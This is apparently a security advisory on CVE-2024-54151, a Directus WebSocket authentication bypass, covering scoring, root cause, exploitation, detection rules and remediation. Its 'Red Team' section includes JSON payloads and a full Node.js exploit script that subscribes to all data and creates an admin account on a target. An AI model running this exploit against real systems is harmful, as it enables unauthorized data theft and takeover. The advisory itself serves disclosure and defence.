CVE-2024-54151

Executive Summary

CVE-2024-54151 is a critical authentication bypass vulnerability in Directus, a real-time API and App dashboard for managing SQL database content. The flaw affects versions 11.0.0 through 11.2.x when the WEBSOCKETS_GRAPHQL_AUTH or WEBSOCKETS_REST_AUTH configuration options are set to public. In this configuration, an unauthenticated attacker can perform any supported CRUD operations and subscriptions with full admin privileges, completely bypassing all permission checks. This allows unauthorized data access, modification, and real-time monitoring of any collection in the database.

The vulnerability has a CVSS score of 7.5 (High) and is trivial to exploit, requiring no authentication or user interaction. The EPSS score is currently 0.0%, indicating low exploitation activity in the wild, but the risk remains significant due to the ease of exploitation and potential for data breaches.

Supply Chain & Package Security

Directus is distributed as an npm package (directus). Organizations using Directus should verify their installed version and update to 11.3.0 or later. The vulnerability is introduced in the source code, not through a compromised dependency, but the impact on the supply chain is that any system using the affected versions with the public WebSocket auth setting is immediately vulnerable.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and impacted component are the same.
• Confidentiality (C): High (H) – Full read access to all data.
• Integrity (I): High (H) – Full write access to all data.
• Availability (A): None (N) – No direct impact on availability.

CVSS Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Threat Level: High. The vulnerability allows complete data compromise with minimal effort.

Deep Dive & Mechanics

The vulnerability resides in Directus's WebSocket handling logic. When WEBSOCKETS_GRAPHQL_AUTH or WEBSOCKETS_REST_AUTH is set to public, the application is intended to allow unauthenticated WebSocket connections for public operations. However, due to a missing or insufficient authentication check in the WebSocket message handler, the server does not enforce permission scoping for these connections.

In a properly configured system, even with public WebSocket auth, the server should restrict operations to only those explicitly marked as public. The bug causes the server to treat all WebSocket requests from unauthenticated users as if they were made by an admin user, granting full CRUD and subscription capabilities on any collection.

The root cause is in the WebSocket message routing logic, where the user context is not properly initialized or validated before processing operations. This allows an attacker to send crafted WebSocket messages that perform any action without authentication.

Vulnerable vs. Patched Code

Vulnerable Code (simplified example):

// In WebSocket handler (vulnerable versions)
ws.on('message', (data) => {
  const message = JSON.parse(data);
  // Missing authentication check for public auth mode
  const user = getUserFromSession(ws); // Returns null for public connections
  // user is null, but operations proceed with admin privileges
  processOperation(message, user);
});

Patched Code (version 11.3.0):

// In WebSocket handler (patched version)
ws.on('message', (data) => {
  const message = JSON.parse(data);
  const user = getUserFromSession(ws);
  // Explicit check for public auth mode
  if (isPublicAuthMode() && !user) {
    // Only allow operations marked as public
    if (!isPublicOperation(message)) {
      ws.send(JSON.stringify({ error: 'Unauthorized' }));
      return;
    }
  }
  processOperation(message, user);
});

The patch adds a check that, when in public auth mode, only operations explicitly designated as public are allowed for unauthenticated users.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A Directus instance (version 11.0.0 to 11.2.x) with WEBSOCKETS_GRAPHQL_AUTH or WEBSOCKETS_REST_AUTH set to public.
• Network access to the WebSocket endpoint (typically ws://target.example.com/websocket or wss://).

Exploitation Steps:

1. Connect to the WebSocket endpoint:

   const WebSocket = require('ws');
   const ws = new WebSocket('ws://target.example.com/websocket');
   

2. Send a GraphQL subscription to monitor all changes:

   {
     "type": "subscribe",
     "collection": "all",
     "query": {
       "fields": ["*"]
     }
   }
   

3. Perform a REST CRUD operation (e.g., create a new admin user):

   {
     "type": "create",
     "collection": "directus_users",
     "data": {
       "email": "attacker@example.com",
       "password": "P@ssw0rd!",
       "role": "admin"
     }
   }
   

4. Read sensitive data from any collection:

   {
     "type": "read",
     "collection": "sensitive_data",
     "query": {
       "fields": ["*"]
     }
   }
   

Full Exploit Script (Node.js):

const WebSocket = require('ws');

const target = 'ws://target.example.com/websocket';
const ws = new WebSocket(target);

ws.on('open', () => {
  console.log('Connected to WebSocket');

  // Subscribe to all changes
  ws.send(JSON.stringify({
    type: 'subscribe',
    collection: 'all',
    query: { fields: ['*'] }
  }));

  // Create an admin user
  ws.send(JSON.stringify({
    type: 'create',
    collection: 'directus_users',
    data: {
      email: 'hacker@example.com',
      password: 'Exploit123!',
      role: 'admin'
    }
  }));
});

ws.on('message', (data) => {
  console.log('Received:', data.toString());
});

Blue Team

Detection and Response:

1. Monitor WebSocket connections: Log all WebSocket connections and their associated operations. Look for connections from IPs that are not in your allowed list.

2. Audit configuration: Check if WEBSOCKETS_GRAPHQL_AUTH or WEBSOCKETS_REST_AUTH is set to public. If so, change to jwt or handshake immediately.

3. Review logs: Search for WebSocket operations performed by unauthenticated users, especially CRUD operations on sensitive collections like directus_users.

4. Check for unauthorized accounts: Look for new user accounts created via WebSocket, especially those with admin roles.

5. Network segmentation: Ensure the WebSocket endpoint is not exposed to the internet unless absolutely necessary.

Indicators of Compromise (IOCs)

• WebSocket connections from unexpected IPs to the Directus WebSocket endpoint.
• Log entries showing CRUD operations on directus_users or other sensitive collections without a corresponding authenticated session.
• New user accounts with admin roles created outside of normal provisioning processes.
• Unusual data access patterns such as bulk reads of all collections via WebSocket.
• Configuration changes to WEBSOCKETS_GRAPHQL_AUTH or WEBSOCKETS_REST_AUTH (though this is a static config, not typically changed dynamically).

Detection Engineering

YARA Rule

rule CVE_2024_54151_Directus_Websocket_Bypass {
    meta:
        description = "Detects Directus WebSocket authentication bypass attempts"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-54151"
    strings:
        $ws_connect = "websocket" nocase
        $public_auth = "WEBSOCKETS_GRAPHQL_AUTH" nocase
        $public_rest = "WEBSOCKETS_REST_AUTH" nocase
        $subscribe = "subscribe" nocase
        $create_user = "directus_users" nocase
    condition:
        any of ($ws_connect) and any of ($public_auth, $public_rest) and any of ($subscribe, $create_user)
}

Sigma Rule

title: Directus WebSocket Authentication Bypass (CVE-2024-54151)
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2024-54151 via WebSocket connections
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-54151
logsource:
    category: webserver
    product: directus
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/websocket'
    condition: selection
falsepositives:
    - Legitimate WebSocket connections from authorized users
level: high

Suricata Rule

alert tcp any any -> any 443 (msg:"CVE-2024-54151 Directus WebSocket Auth Bypass"; flow:to_server; content:"Upgrade"; content:"websocket"; nocase; content:"/websocket"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Directus to version 11.3.0 or later.
2. Change WebSocket authentication mode to jwt or handshake if public access is not required.
3. Restrict network access to the WebSocket endpoint using firewall rules or reverse proxy configurations.

Long-term Mitigations:

• Implement Web Application Firewall (WAF) rules to block suspicious WebSocket traffic.
• Enable comprehensive logging and monitoring for WebSocket connections.
• Conduct regular security audits of Directus configurations.
• Follow the principle of least privilege for all API endpoints.

Patch Verification: After upgrading, verify the fix by attempting to connect to the WebSocket endpoint without authentication and performing a CRUD operation. The server should reject the request.

Valters IT